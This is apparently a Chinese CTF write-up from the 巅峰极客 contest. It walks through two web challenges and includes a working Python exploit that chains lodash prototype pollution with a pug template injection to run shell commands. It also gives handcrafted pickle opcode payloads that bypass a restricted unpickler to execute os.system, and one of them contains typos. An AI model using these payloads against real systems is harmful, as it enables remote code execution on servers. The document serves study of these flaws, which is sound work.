巅峰极客总结

EZJS

一点都不ez,看了一下午还是没做出来,感觉要被开了,以前没咋遇到过js的原型链污染,现学了一下原理但还是没找不到链,属实自己的js水平太烂了。

这里用到的原型链污染原理参考:https://paper.seebug.org/1426/#_1

pug的rce漏洞原理参考:https://github.com/pugjs/pug/issues/3312

题解

随便登录后可以在newimg发现文件读取。可以先读取package.json,package-lock.json看看版本。

在这里插入图片描述

lodash<4.17.17时存在原型链污染漏洞,pug有rce命令执行。看一下index.js源码,核心部分如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
router.get('/admin', function(req, res, next) {
//req.session.debug = true;

if (req.session.username !== undefined && req.session.isadmin !== undefined) {

if (req.query.newimg !== undefined) req.session.img = req.query.newimg;

var imgdata = fs.readFileSync(req.session.img? req.session.img: "./images/1.png");
var base64data = Buffer.from(imgdata, 'binary').toString('base64');

var info = {title: '我的空间', msg: req.session.username, png: "data:image/png;base64," + base64data, diy: "十年磨一剑v0.0.0(尚处于开发版"};


if (req.session.isadmin !== "notadmin") {

if (req.session.debug !== undefined && req.session.debug !== false) info.pretty = req.query.p;
if (req.query.diy !== undefined) req.session.diy = req.query.diy;
info.diy = req.session.diy ? req.session.diy: "尊贵的admin";
return res.render('admin', info);
} else {
return res.render('admin', info);
}
} else {
return res.render('msg', {title: 'error', msg: 'plz login first'});
}
});

这个地方就是可以读取源码的漏洞原因。

在这里插入图片描述

往下看,判断req.session.isadmin !== "notadmin",然后的判断是关键。这里需要将req.session.debug污染成空值或其他的满足条件的来绕过,然后就可以利用pug的RCE来执行命令。

在这里插入图片描述

这里需要注意的是参考文章里面的payload中存在转义号,这是因为那个里面用了json解析,则要用转义号转移引号,这里则不需要。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url="http://localhost:5000/"
session=requests.session()
session.post(url+'login',data={
"username":'a'*26,
"password":'b'*26
})
payload={'"].__proto__["isadmin': '123',
'"].__proto__["debug': '123'}
r=session.get(url+'admin',params={
"p":"');return process.mainModule.constructor._load('child_process').execSync('tac /root/flag.txt');_=('"
},data=payload)
print(r.text)

中间很多自己node搭环境调试的过程就懒得贴了,总结一下编程代码功底还是最基础的东西呀!!!

opcode

考的是pickle的知识

参考:https://www.freebuf.com/articles/web/264363.html

https://zhuanlan.zhihu.com/p/361349643

pickle.dumps将对象反序列化为字符串,pickle.dump将反序列化后的字符串存储为文件。

pickle.loads() 对象反序列化 pickle.load() 对象反序列化,从文件中读取数据。

看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
def find_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def loads(data):
return RestrictedUnpickler(io.BytesIO(data)).load()


app = Flask(__name__)

app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"

@app.route('/admin', methods = ["POST","GET"])
def admin():
if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
return "not admin"
try:
data = base64.b64decode(session['data'])
if "R" in data.decode():
return "nonono"
pickle.loads(data)
except Exception as e:
print(e)
return "success"

@app.route('/login', methods = ["GET","POST"])
def login():
username = request.form.get('username')
password = request.form.get('password')
imagePath = request.form.get('imagePath')
session['username'] = username + password
session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
try:
f = open(imagePath,'rb').read()
except Exception as e:
f = open('static/image/error.png','rb').read()
imageBase64 = base64.b64encode(f)
return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))

@app.route('/', methods = ["GET","POST"])
def index():
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0', port='8888')

这题的代码和一些题目的重复度较高,借鉴了Code-Breaking2018 picklecode,再套了一个XCTF抗疫赛 webtmp的opcode。限制了必须是builtins模块和一个黑名单过滤然后多过滤了一个’R’操作符,但是仔细看可以发现,根本没有用到自己定义的loads方法,直接使用了pickle,.loads()相当于根本没有过滤,从这样看的话就直接随便构造了直接弹shell都可以了,下面按照题目的预期解来看一下。

其实拿Code-Breaking的payload改一下即可,用o操作符来替换R操作符即可,原payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.

对比一下几个操作符的区别。

R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
0 丢弃栈顶对象 0 栈顶对象被丢弃

这里可以看出来,将R改成o需要将MARK的位置修改到要执行的函数前,并且还要去掉t操作符,0操作符其实可要可不要,加上的话逻辑更清晰
修改后payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(cbuiltins
getattr
p0
cbuiltins
dict
S'get'
op1
(cbuiltins
gloabals
op2
S'__builtins__' #这里不是'builtins'否则的话无法引入builtins模块
op3
(g0
g3
S'eval'
op4
(g4
S'__import__("os").system("dit")'
o.

测试了一下,有时候windows上的payload也不一定能在linux上运行。

在这里插入图片描述

what pickle

和前面的题目有些类似了,也是先读源码,考的也是pickle,看看wp就行吧。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!